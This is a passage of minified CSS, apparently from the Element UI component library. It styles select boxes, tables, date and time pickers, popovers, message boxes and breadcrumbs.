.3s;-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);cursor:pointer}.el-select .el-input .el-select__caret.is-reverse{-webkit-transform:rotateZ(0);transform:rotateZ(0)}.el-select .el-input .el-select__caret.is-show-close{font-size:14px;text-align:center;-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);border-radius:100%;color:#c0c4cc;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1)}.el-select .el-input .el-select__caret.is-show-close:hover{color:#909399}.el-select .el-input.is-disabled .el-input__inner{cursor:not-allowed}.el-select .el-input.is-disabled .el-input__inner:hover{border-color:#e4e7ed}.el-select .el-input.is-focus .el-input__inner{border-color:#409EFF}.el-select>.el-input{display:block}.el-select__input{border:none;outline:0;padding:0;margin-left:15px;color:#666;font-size:14px;-webkit-appearance:none;-moz-appearance:none;appearance:none;height:28px;background-color:transparent}.el-select__input.is-mini{height:14px}.el-select__close{cursor:pointer;position:absolute;top:8px;z-index:1000;right:25px;color:#c0c4cc;line-height:18px;font-size:14px}.el-select__close:hover{color:#909399}.el-select__tags{position:absolute;line-height:normal;white-space:normal;z-index:1;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-ms-flex-wrap:wrap;flex-wrap:wrap}.el-select .el-tag__close{margin-top:-2px}.el-select .el-tag{-webkit-box-sizing:border-box;box-sizing:border-box;border-color:transparent;margin:2px 0 2px 6px;background-color:#f0f2f5}.el-select .el-tag__close.el-icon-close{background-color:#c0c4cc;right:-7px;top:0;color:#fff}.el-select .el-tag__close.el-icon-close:hover{background-color:#909399}.el-table,.el-table__expanded-cell{background-color:#fff}.el-select .el-tag__close.el-icon-close::before{display:block;-webkit-transform:translate(0,.5px);transform:translate(0,.5px)}.el-table{position:relative;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;flex:1;width:100%;max-width:100%;font-size:14px;color:#606266}.el-table--mini,.el-table--small,.el-table__expand-icon{font-size:12px}.el-table__empty-block{min-height:60px;text-align:center;width:100%;height:100%;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.el-table__empty-text{width:50%;color:#909399}.el-table__expand-column .cell{padding:0;text-align:center}.el-table__expand-icon{position:relative;cursor:pointer;color:#666;-webkit-transition:-webkit-transform .2s ease-in-out;transition:-webkit-transform .2s ease-in-out;transition:transform .2s ease-in-out;transition:transform .2s ease-in-out,-webkit-transform .2s ease-in-out;height:20px}.el-table__expand-icon--expanded{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.el-table__expand-icon>.el-icon{position:absolute;left:50%;top:50%;margin-left:-5px;margin-top:-5px}.el-table__expanded-cell[class*=cell]{padding:20px 50px}.el-table__expanded-cell:hover{background-color:transparent!important}.el-table--fit{border-right:0;border-bottom:0}.el-table--fit td.gutter,.el-table--fit th.gutter{border-right-width:1px}.el-table--scrollable-x .el-table__body-wrapper{overflow-x:auto}.el-table--scrollable-y .el-table__body-wrapper{overflow-y:auto}.el-table thead{color:#909399;font-weight:500}.el-table thead.is-group th{background:#f5f7fa}.el-table th,.el-table tr{background-color:#fff}.el-table td,.el-table th{padding:12px 0;min-width:0;-webkit-box-sizing:border-box;box-sizing:border-box;text-overflow:ellipsis;vertical-align:middle;position:relative;text-align:left}.el-table th div,.el-table th>.cell{-webkit-box-sizing:border-box;display:inline-block}.el-table td.is-center,.el-table th.is-center{text-align:center}.el-table td.is-right,.el-table th.is-right{text-align:right}.el-table td.gutter,.el-table th.gutter{width:15px;border-right-width:0;border-bottom-width:0;padding:0}.el-table--medium td,.el-table--medium th{padding:10px 0}.el-table--small td,.el-table--small th{padding:8px 0}.el-table--mini td,.el-table--mini th{padding:6px 0}.el-table .cell,.el-table th div{padding-right:10px;overflow:hidden;text-overflow:ellipsis}.el-table .cell,.el-table th div,.el-table--border td:first-child .cell,.el-table--border th:first-child .cell{padding-left:10px}.el-table tr input[type=checkbox]{margin:0}.el-table td,.el-table th.is-leaf{border-bottom:1px solid #ebeef5}.el-table th.is-sortable{cursor:pointer}.el-table th{white-space:nowrap;overflow:hidden;user-select:none}.el-table th div{line-height:40px;box-sizing:border-box;white-space:nowrap}.el-table th>.cell{position:relative;word-wrap:normal;text-overflow:ellipsis;vertical-align:middle;width:100%;box-sizing:border-box}.el-table th>.cell.highlight{color:#409EFF}.el-table th.required>div::before{display:inline-block;content:\"\";width:8px;height:8px;border-radius:50%;background:#ff4d51;margin-right:5px;vertical-align:middle}.el-table td div{-webkit-box-sizing:border-box;box-sizing:border-box}.el-table td.gutter{width:0}.el-table .cell{-webkit-box-sizing:border-box;box-sizing:border-box;white-space:normal;word-break:break-all;line-height:23px}.el-table .cell.el-tooltip{white-space:nowrap;min-width:50px}.el-table--border,.el-table--group{border:1px solid #ebeef5}.el-table--border::after,.el-table--group::after,.el-table::before{content:'';position:absolute;background-color:#ebeef5;z-index:1}.el-table--border::after,.el-table--group::after{top:0;right:0;width:1px;height:100%}.el-table::before{left:0;bottom:0;width:100%;height:1px}.el-table--border{border-right:none;border-bottom:none}.el-table--border.el-loading-parent--relative{border-color:transparent}.el-table--border td,.el-table--border th,.el-table__body-wrapper .el-table--border.is-scrolling-left~.el-table__fixed{border-right:1px solid #ebeef5}.el-table--border th.gutter:last-of-type{border-bottom:1px solid #ebeef5;border-bottom-width:1px}.el-table--border th,.el-table__fixed-right-patch{border-bottom:1px solid #ebeef5}.el-table__fixed,.el-table__fixed-right{position:absolute;top:0;left:0;overflow-x:hidden;overflow-y:hidden;-webkit-box-shadow:0 0 10px rgba(0,0,0,.12);box-shadow:0 0 10px rgba(0,0,0,.12)}.el-table__fixed-right::before,.el-table__fixed::before{content:'';position:absolute;left:0;bottom:0;width:100%;height:1px;background-color:#ebeef5;z-index:4}.el-table__fixed-right-patch{position:absolute;top:-1px;right:0;background-color:#fff}.el-table__fixed-right{top:0;left:auto;right:0}.el-table__fixed-right .el-table__fixed-body-wrapper,.el-table__fixed-right .el-table__fixed-footer-wrapper,.el-table__fixed-right .el-table__fixed-header-wrapper{left:auto;right:0}.el-table__fixed-header-wrapper{position:absolute;left:0;top:0;z-index:3}.el-table__fixed-footer-wrapper{position:absolute;left:0;bottom:0;z-index:3}.el-table__fixed-footer-wrapper tbody td{border-top:1px solid #ebeef5;background-color:#f5f7fa;color:#606266}.el-table__fixed-body-wrapper{position:absolute;left:0;top:37px;overflow:hidden;z-index:3}.el-table__body-wrapper,.el-table__footer-wrapper,.el-table__header-wrapper{width:100%}.el-table__footer-wrapper{margin-top:-1px}.el-table__footer-wrapper td{border-top:1px solid #ebeef5}.el-table__body,.el-table__footer,.el-table__header{table-layout:fixed;border-collapse:separate}.el-table__footer-wrapper,.el-table__header-wrapper{overflow:hidden}.el-table__footer-wrapper tbody td,.el-table__header-wrapper tbody td{background-color:#f5f7fa;color:#606266}.el-table__body-wrapper{overflow:hidden;position:relative}.el-table__body-wrapper.is-scrolling-left~.el-table__fixed,.el-table__body-wrapper.is-scrolling-none~.el-table__fixed,.el-table__body-wrapper.is-scrolling-none~.el-table__fixed-right,.el-table__body-wrapper.is-scrolling-right~.el-table__fixed-right{-webkit-box-shadow:none;box-shadow:none}.el-picker-panel,.el-table-filter{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-table__body-wrapper .el-table--border.is-scrolling-right~.el-table__fixed-right{border-left:1px solid #ebeef5}.el-table .caret-wrapper{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:34px;width:24px;vertical-align:middle;cursor:pointer;overflow:initial;position:relative}.el-table .sort-caret{width:0;height:0;border:5px solid transparent;position:absolute;left:7px}.el-table .sort-caret.ascending{border-bottom-color:#c0c4cc;top:5px}.el-table .sort-caret.descending{border-top-color:#c0c4cc;bottom:7px}.el-table .ascending .sort-caret.ascending{border-bottom-color:#409EFF}.el-table .descending .sort-caret.descending{border-top-color:#409EFF}.el-table .hidden-columns{position:absolute;z-index:-1}.el-table--striped .el-table__body tr.el-table__row--striped td{background:#FAFAFA}.el-table--striped .el-table__body tr.el-table__row--striped.current-row td,.el-table__body tr.current-row>td,.el-table__body tr.hover-row.current-row>td,.el-table__body tr.hover-row.el-table__row--striped.current-row>td,.el-table__body tr.hover-row.el-table__row--striped>td,.el-table__body tr.hover-row>td{background-color:#ecf5ff}.el-table__column-resize-proxy{position:absolute;left:200px;top:0;bottom:0;width:0;border-left:1px solid #ebeef5;z-index:10}.el-table__column-filter-trigger{display:inline-block;line-height:34px;cursor:pointer}.el-table__column-filter-trigger i{color:#909399;font-size:12px;-webkit-transform:scale(.75);transform:scale(.75)}.el-table--enable-row-transition .el-table__body td{-webkit-transition:background-color .25s ease;transition:background-color .25s ease}.el-table--enable-row-hover .el-table__body tr:hover>td{background-color:#f5f7fa}.el-table--fluid-height .el-table__fixed,.el-table--fluid-height .el-table__fixed-right{bottom:0;overflow:hidden}.el-table-column--selection .cell{padding-left:14px;padding-right:14px}.el-table-filter{border:1px solid #ebeef5;border-radius:2px;background-color:#fff;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);-webkit-box-sizing:border-box;box-sizing:border-box;margin:2px 0}.el-table-filter__list{padding:5px 0;margin:0;list-style:none;min-width:100px}.el-table-filter__list-item{line-height:36px;padding:0 10px;cursor:pointer;font-size:14px}.el-table-filter__list-item:hover{background-color:#ecf5ff;color:#66b1ff}.el-table-filter__list-item.is-active{background-color:#409EFF;color:#fff}.el-table-filter__content{min-width:100px}.el-table-filter__bottom{border-top:1px solid #ebeef5;padding:8px}.el-table-filter__bottom button{background:0 0;border:none;color:#606266;cursor:pointer;font-size:13px;padding:0 3px}.el-date-table td.in-range div,.el-date-table td.in-range div:hover,.el-date-table.is-week-mode .el-date-table__row.current div,.el-date-table.is-week-mode .el-date-table__row:hover div{background-color:#f2f6fc}.el-table-filter__bottom button:hover{color:#409EFF}.el-table-filter__bottom button:focus{outline:0}.el-table-filter__bottom button.is-disabled{color:#c0c4cc;cursor:not-allowed}.el-table-filter__wrap{max-height:280px}.el-table-filter__checkbox-group{padding:10px}.el-table-filter__checkbox-group label.el-checkbox{display:block;margin-right:5px;margin-bottom:8px;margin-left:5px}.el-table-filter__checkbox-group .el-checkbox:last-child{margin-bottom:0}.el-date-table{font-size:12px;-webkit-user-select:none;user-select:none}.el-slider__button-wrapper,.el-time-panel{-moz-user-select:none;-ms-user-select:none}.el-date-table.is-week-mode .el-date-table__row:hover td.available:hover{color:#606266}.el-date-table.is-week-mode .el-date-table__row:hover td:first-child div{margin-left:5px;border-top-left-radius:15px;border-bottom-left-radius:15px}.el-date-table.is-week-mode .el-date-table__row:hover td:last-child div{margin-right:5px;border-top-right-radius:15px;border-bottom-right-radius:15px}.el-date-table td{width:32px;height:30px;padding:4px 0;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center;cursor:pointer;position:relative}.el-date-table td div{height:30px;padding:3px 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-date-table td span{width:24px;height:24px;display:block;margin:0 auto;line-height:24px;position:absolute;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);border-radius:50%}.el-month-table td .cell,.el-year-table td .cell{width:48px;height:32px;display:block;line-height:32px}.el-date-table td.next-month,.el-date-table td.prev-month{color:#c0c4cc}.el-date-table td.today{position:relative}.el-date-table td.today span{color:#409EFF;font-weight:700}.el-date-table td.today.end-date span,.el-date-table td.today.start-date span{color:#fff}.el-date-table td.available:hover{color:#409EFF}.el-date-table td.current:not(.disabled) span{color:#fff;background-color:#409EFF}.el-date-table td.end-date div,.el-date-table td.start-date div{color:#fff}.el-date-table td.end-date span,.el-date-table td.start-date span{background-color:#409EFF}.el-date-table td.start-date div{margin-left:5px;border-top-left-radius:15px;border-bottom-left-radius:15px}.el-date-table td.end-date div{margin-right:5px;border-top-right-radius:15px;border-bottom-right-radius:15px}.el-date-table td.disabled div{background-color:#f5f7fa;opacity:1;cursor:not-allowed;color:#c0c4cc}.el-date-table td.selected div{margin-left:5px;margin-right:5px;background-color:#f2f6fc;border-radius:15px}.el-date-table td.selected div:hover{background-color:#f2f6fc}.el-date-table td.selected span{background-color:#409EFF;color:#fff;border-radius:15px}.el-date-table td.week{font-size:80%;color:#606266}.el-month-table,.el-year-table{font-size:12px;border-collapse:collapse}.el-date-table th{padding:5px;color:#606266;font-weight:400;border-bottom:solid 1px #ebeef5}.el-month-table{margin:-1px}.el-month-table td{text-align:center;padding:20px 3px;cursor:pointer}.el-month-table td.disabled .cell{background-color:#f5f7fa;cursor:not-allowed;color:#c0c4cc}.el-month-table td.disabled .cell:hover{color:#c0c4cc}.el-month-table td .cell{color:#606266;margin:0 auto}.el-month-table td .cell:hover,.el-month-table td.current:not(.disabled) .cell{color:#409EFF}.el-year-table{margin:-1px}.el-year-table .el-icon{color:#303133}.el-year-table td{text-align:center;padding:20px 3px;cursor:pointer}.el-year-table td.disabled .cell{background-color:#f5f7fa;cursor:not-allowed;color:#c0c4cc}.el-year-table td.disabled .cell:hover{color:#c0c4cc}.el-year-table td .cell{color:#606266;margin:0 auto}.el-year-table td .cell:hover,.el-year-table td.current:not(.disabled) .cell{color:#409EFF}.el-date-range-picker{width:646px}.el-date-range-picker.has-sidebar{width:756px}.el-date-range-picker table{table-layout:fixed;width:100%}.el-date-range-picker .el-picker-panel__body{min-width:513px}.el-date-range-picker .el-picker-panel__content{margin:0}.el-date-range-picker__header{position:relative;text-align:center;height:28px}.el-date-range-picker__header [class*=arrow-left]{float:left}.el-date-range-picker__header [class*=arrow-right]{float:right}.el-date-range-picker__header div{font-size:16px;font-weight:500;margin-right:50px}.el-date-range-picker__content{float:left;width:50%;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:16px}.el-date-range-picker__content.is-left{border-right:1px solid #e4e4e4}.el-date-range-picker__content.is-right .el-date-range-picker__header div{margin-left:50px;margin-right:50px}.el-date-range-picker__editors-wrap{-webkit-box-sizing:border-box;box-sizing:border-box;display:table-cell}.el-date-range-picker__editors-wrap.is-right{text-align:right}.el-date-range-picker__time-header{position:relative;border-bottom:1px solid #e4e4e4;font-size:12px;padding:8px 5px 5px;display:table;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box}.el-date-range-picker__time-header>.el-icon-arrow-right{font-size:20px;vertical-align:middle;display:table-cell;color:#303133}.el-date-range-picker__time-picker-wrap{position:relative;display:table-cell;padding:0 5px}.el-date-range-picker__time-picker-wrap .el-picker-panel{position:absolute;top:13px;right:0;z-index:1;background:#fff}.el-date-picker{width:322px}.el-date-picker.has-sidebar.has-time{width:434px}.el-date-picker.has-sidebar{width:438px}.el-date-picker.has-time .el-picker-panel__body-wrapper{position:relative}.el-date-picker .el-picker-panel__content{width:292px}.el-date-picker table{table-layout:fixed;width:100%}.el-date-picker__editor-wrap{position:relative;display:table-cell;padding:0 5px}.el-date-picker__time-header{position:relative;border-bottom:1px solid #e4e4e4;font-size:12px;padding:8px 5px 5px;display:table;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box}.el-date-picker__header{margin:12px;text-align:center}.el-date-picker__header--bordered{margin-bottom:0;padding-bottom:12px;border-bottom:solid 1px #ebeef5}.el-date-picker__header--bordered+.el-picker-panel__content{margin-top:0}.el-date-picker__header-label{font-size:16px;font-weight:500;padding:0 5px;line-height:22px;text-align:center;cursor:pointer;color:#606266}.el-date-picker__header-label.active,.el-date-picker__header-label:hover{color:#409EFF}.el-date-picker__prev-btn{float:left}.el-date-picker__next-btn{float:right}.el-date-picker__time-wrap{padding:10px;text-align:center}.el-date-picker__time-label{float:left;cursor:pointer;line-height:30px;margin-left:10px}.time-select{margin:5px 0;min-width:0}.time-select .el-picker-panel__content{max-height:200px;margin:0}.time-select-item{padding:8px 10px;font-size:14px;line-height:20px}.time-select-item.selected:not(.disabled){color:#409EFF;font-weight:700}.time-select-item.disabled{color:#e4e7ed;cursor:not-allowed}.time-select-item:hover{background-color:#f5f7fa;font-weight:700;cursor:pointer}.el-date-editor{position:relative;display:inline-block;text-align:left}.el-date-editor.el-input,.el-date-editor.el-input__inner{width:220px}.el-date-editor--daterange.el-input,.el-date-editor--daterange.el-input__inner,.el-date-editor--timerange.el-input,.el-date-editor--timerange.el-input__inner{width:350px}.el-date-editor--datetimerange.el-input,.el-date-editor--datetimerange.el-input__inner{width:400px}.el-date-editor--dates .el-input__inner{text-overflow:ellipsis;white-space:nowrap}.el-date-editor .el-icon-circle-close{cursor:pointer}.el-date-editor .el-range__icon{font-size:14px;margin-left:-5px;color:#c0c4cc;float:left;line-height:32px}.el-date-editor .el-range-input,.el-date-editor .el-range-separator{height:100%;margin:0;text-align:center;display:inline-block;font-size:14px}.el-date-editor .el-range-input{-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;outline:0;padding:0;width:39%;color:#606266}.el-date-editor .el-range-input::-webkit-input-placeholder{color:#c0c4cc}.el-date-editor .el-range-input:-ms-input-placeholder{color:#c0c4cc}.el-date-editor .el-range-input::placeholder{color:#c0c4cc}.el-date-editor .el-range-separator{padding:0 5px;line-height:32px;width:5%;color:#303133}.el-date-editor .el-range__close-icon{font-size:14px;color:#c0c4cc;width:25px;display:inline-block;float:right;line-height:32px}.el-range-editor.el-input__inner{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:3px 10px}.el-range-editor .el-range-input{line-height:1}.el-range-editor.is-active,.el-range-editor.is-active:hover{border-color:#409EFF}.el-range-editor--medium.el-input__inner{height:36px}.el-range-editor--medium .el-range-separator{line-height:28px;font-size:14px}.el-range-editor--medium .el-range-input{font-size:14px}.el-range-editor--medium .el-range__close-icon,.el-range-editor--medium .el-range__icon{line-height:28px}.el-range-editor--small.el-input__inner{height:32px}.el-range-editor--small .el-range-separator{line-height:24px;font-size:13px}.el-range-editor--small .el-range-input{font-size:13px}.el-range-editor--small .el-range__close-icon,.el-range-editor--small .el-range__icon{line-height:24px}.el-range-editor--mini.el-input__inner{height:28px}.el-range-editor--mini .el-range-separator{line-height:20px;font-size:12px}.el-range-editor--mini .el-range-input{font-size:12px}.el-range-editor--mini .el-range__close-icon,.el-range-editor--mini .el-range__icon{line-height:20px}.el-range-editor.is-disabled{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed}.el-range-editor.is-disabled:focus,.el-range-editor.is-disabled:hover{border-color:#e4e7ed}.el-range-editor.is-disabled input{background-color:#f5f7fa;color:#c0c4cc;cursor:not-allowed}.el-range-editor.is-disabled input::-webkit-input-placeholder{color:#c0c4cc}.el-range-editor.is-disabled input:-ms-input-placeholder{color:#c0c4cc}.el-range-editor.is-disabled input::placeholder{color:#c0c4cc}.el-range-editor.is-disabled .el-range-separator{color:#c0c4cc}.el-picker-panel{color:#606266;border:1px solid #e4e7ed;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);background:#fff;border-radius:4px;line-height:30px;margin:5px 0}.el-popover,.el-time-panel{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-picker-panel__body-wrapper::after,.el-picker-panel__body::after{content:\"\";display:table;clear:both}.el-picker-panel__content{position:relative;margin:15px}.el-picker-panel__footer{border-top:1px solid #e4e4e4;padding:4px;text-align:right;background-color:#fff;position:relative;font-size:0}.el-picker-panel__shortcut{display:block;width:100%;border:0;background-color:transparent;line-height:28px;font-size:14px;color:#606266;padding-left:12px;text-align:left;outline:0;cursor:pointer}.el-picker-panel__shortcut:hover{color:#409EFF}.el-picker-panel__shortcut.active{background-color:#e6f1fe;color:#409EFF}.el-picker-panel__btn{border:1px solid #dcdcdc;color:#333;line-height:24px;border-radius:2px;padding:0 20px;cursor:pointer;background-color:transparent;outline:0;font-size:12px}.el-picker-panel__btn[disabled]{color:#ccc;cursor:not-allowed}.el-picker-panel__icon-btn{font-size:12px;color:#303133;border:0;background:0 0;cursor:pointer;outline:0;margin-top:8px}.el-picker-panel__icon-btn:hover{color:#409EFF}.el-picker-panel__icon-btn.is-disabled{color:#bbb}.el-picker-panel__icon-btn.is-disabled:hover{cursor:not-allowed}.el-picker-panel__link-btn{vertical-align:middle}.el-picker-panel [slot=sidebar],.el-picker-panel__sidebar{position:absolute;top:0;bottom:0;width:110px;border-right:1px solid #e4e4e4;-webkit-box-sizing:border-box;box-sizing:border-box;padding-top:6px;background-color:#fff;overflow:auto}.el-picker-panel [slot=sidebar]+.el-picker-panel__body,.el-picker-panel__sidebar+.el-picker-panel__body{margin-left:110px}.el-time-spinner.has-seconds .el-time-spinner__wrapper{width:33.3%}.el-time-spinner__wrapper{max-height:190px;overflow:auto;display:inline-block;width:50%;vertical-align:top;position:relative}.el-time-spinner__wrapper .el-scrollbar__wrap:not(.el-scrollbar__wrap--hidden-default){padding-bottom:15px}.el-time-spinner__input.el-input .el-input__inner,.el-time-spinner__list{padding:0;text-align:center}.el-time-spinner__wrapper.is-arrow{-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center;overflow:hidden}.el-time-spinner__wrapper.is-arrow .el-time-spinner__list{-webkit-transform:translateY(-32px);transform:translateY(-32px)}.el-time-spinner__wrapper.is-arrow .el-time-spinner__item:hover:not(.disabled):not(.active){background:#fff;cursor:default}.el-time-spinner__arrow{font-size:12px;color:#909399;position:absolute;left:0;width:100%;z-index:1;text-align:center;height:30px;line-height:30px;cursor:pointer}.el-time-spinner__arrow:hover{color:#409EFF}.el-time-spinner__arrow.el-icon-arrow-up{top:10px}.el-time-spinner__arrow.el-icon-arrow-down{bottom:10px}.el-time-spinner__input.el-input{width:70%}.el-time-spinner__list{margin:0;list-style:none}.el-time-spinner__list::after,.el-time-spinner__list::before{content:'';display:block;width:100%;height:80px}.el-time-spinner__item{height:32px;line-height:32px;font-size:12px;color:#606266}.el-time-spinner__item:hover:not(.disabled):not(.active){background:#f5f7fa;cursor:pointer}.el-time-spinner__item.active:not(.disabled){color:#303133;font-weight:700}.el-time-spinner__item.disabled{color:#c0c4cc;cursor:not-allowed}.el-time-panel{margin:5px 0;border:1px solid #e4e7ed;background-color:#fff;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);border-radius:2px;position:absolute;width:180px;left:0;z-index:1000;-webkit-user-select:none;user-select:none;-webkit-box-sizing:content-box;box-sizing:content-box}.el-time-panel__content{font-size:0;position:relative;overflow:hidden}.el-time-panel__content::after,.el-time-panel__content::before{content:\"\";top:50%;position:absolute;margin-top:-15px;height:32px;z-index:-1;left:0;right:0;-webkit-box-sizing:border-box;box-sizing:border-box;padding-top:6px;text-align:left;border-top:1px solid #e4e7ed;border-bottom:1px solid #e4e7ed}.el-time-panel__content::after{left:50%;margin-left:12%;margin-right:12%}.el-time-panel__content::before{padding-left:50%;margin-right:12%;margin-left:12%}.el-time-panel__content.has-seconds::after{left:calc(100% / 3 * 2)}.el-time-panel__content.has-seconds::before{padding-left:calc(100% / 3)}.el-time-panel__footer{border-top:1px solid #e4e4e4;padding:4px;height:36px;line-height:25px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.el-time-panel__btn{border:none;line-height:28px;padding:0 5px;margin:0 5px;cursor:pointer;background-color:transparent;outline:0;font-size:12px;color:#303133}.el-time-panel__btn.confirm{font-weight:800;color:#409EFF}.el-time-range-picker{width:354px;overflow:visible}.el-time-range-picker__content{position:relative;text-align:center;padding:10px}.el-time-range-picker__cell{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:4px 7px 7px;width:50%;display:inline-block}.el-time-range-picker__header{margin-bottom:5px;text-align:center;font-size:14px}.el-time-range-picker__body{border-radius:2px;border:1px solid #e4e7ed}.el-popover{position:absolute;background:#fff;min-width:150px;border:1px solid #ebeef5;padding:12px;z-index:2000;color:#606266;line-height:1.4;text-align:justify;font-size:14px;box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-popover--plain{padding:18px 20px}.el-popover__title{color:#303133;font-size:16px;line-height:1;margin-bottom:12px}.v-modal-enter{-webkit-animation:v-modal-in .2s ease;animation:v-modal-in .2s ease}.v-modal-leave{-webkit-animation:v-modal-out .2s ease forwards;animation:v-modal-out .2s ease forwards}@keyframes v-modal-in{0%{opacity:0}}@keyframes v-modal-out{100%{opacity:0}}.v-modal{position:fixed;left:0;top:0;width:100%;height:100%;opacity:.5;background:#000}.el-popup-parent--hidden{overflow:hidden}.el-message-box{display:inline-block;width:420px;padding-bottom:10px;vertical-align:middle;background-color:#fff;border-radius:4px;border:1px solid #ebeef5;font-size:18px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1);text-align:left;overflow:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden}.el-message-box__wrapper{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center}.el-message-box__wrapper::after{content:\"\";display:inline-block;height:100%;width:0;vertical-align:middle}.el-message-box__header{position:relative;padding:15px 15px 10px}.el-message-box__title{padding-left:0;margin-bottom:0;font-size:18px;line-height:1;color:#303133}.el-message-box__headerbtn{position:absolute;top:15px;right:15px;padding:0;border:none;outline:0;background:0 0;font-size:16px;cursor:pointer}.el-form-item.is-error .el-input__inner,.el-form-item.is-error .el-input__inner:focus,.el-form-item.is-error .el-textarea__inner,.el-form-item.is-error .el-textarea__inner:focus,.el-message-box__input input.invalid,.el-message-box__input input.invalid:focus{border-color:#f56c6c}.el-message-box__headerbtn .el-message-box__close{color:#909399}.el-message-box__headerbtn:focus .el-message-box__close,.el-message-box__headerbtn:hover .el-message-box__close{color:#409EFF}.el-message-box__content{position:relative;padding:10px 15px;color:#606266;font-size:14px}.el-message-box__input{padding-top:15px}.el-message-box__status{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);font-size:24px!important}.el-message-box__status::before{padding-left:1px}.el-message-box__status+.el-message-box__message{padding-left:36px;padding-right:12px}.el-message-box__status.el-icon-success{color:#67c23a}.el-message-box__status.el-icon-info{color:#909399}.el-message-box__status.el-icon-warning{color:#e6a23c}.el-message-box__status.el-icon-error{color:#f56c6c}.el-message-box__message{margin:0}.el-message-box__message p{margin:0;line-height:24px}.el-message-box__errormsg{color:#f56c6c;font-size:12px;min-height:18px;margin-top:2px}.el-message-box__btns{padding:5px 15px 0;text-align:right}.el-message-box__btns button:nth-child(2){margin-left:10px}.el-message-box__btns-reverse{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.el-message-box--center{padding-bottom:30px}.el-message-box--center .el-message-box__header{padding-top:30px}.el-message-box--center .el-message-box__title{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.el-message-box--center .el-message-box__status{position:relative;top:auto;padding-right:5px;text-align:center;-webkit-transform:translateY(-1px);transform:translateY(-1px)}.el-message-box--center .el-message-box__message{margin-left:0}.el-message-box--center .el-message-box__btns,.el-message-box--center .el-message-box__content{text-align:center}.el-message-box--center .el-message-box__content{padding-left:27px;padding-right:27px}.msgbox-fade-enter-active{-webkit-animation:msgbox-fade-in .3s;animation:msgbox-fade-in .3s}.msgbox-fade-leave-active{-webkit-animation:msgbox-fade-out .3s;animation:msgbox-fade-out .3s}@-webkit-keyframes msgbox-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes msgbox-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes msgbox-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}}@keyframes msgbox-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}}.el-breadcrumb{font-size:14px;line-height:1}.el-breadcrumb::after,.el-breadcrumb::before{display:table;content:\"\"}.el-breadcrumb::after{clear:both}.el-breadcrumb__separator{margin:0 9px;font-weight:700;color:#c0c4cc}.el-breadcrumb__separator[class*=icon]{margin:0 6px;font-weight:400}.el-breadcrumb__item{float:left}.el-breadcrumb__inner{color:#606266}.el-breadcrumb__inner a,.el-breadcrumb__inner.is-link{font-weight:700;text-decoration:none;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1);color:#303133}.el-breadcrumb__inner a:hover,.el-breadcrumb__inner.is-link:hover{color:#409EFF;cursor:pointer}.el-breadcrumb__item:last-child .el-breadcrumb__inner,.el-breadcrumb__item:last-child .el-breadcrumb__inner a,.el-breadcrumb__item:last-child .el-breadcrumb__inner a:hover,.el-breadcrumb__item:last-child .el-breadcrumb__inner:hover{font-weight:400;color:#606266;cursor:text}.el-breadcrumb__item:last-child .el-breadcrumb__separator{display:none}.el-form--label-left .el-form-item__label{text-align:left}.el-form--label-top .el-form-item__label{float:none;display:inline-block;text-align:left;padding:0 0 10px}.el-form--inline .el-form-item{display:inline-block;margin-right:10px;vertical-align:top}.el-form--inline 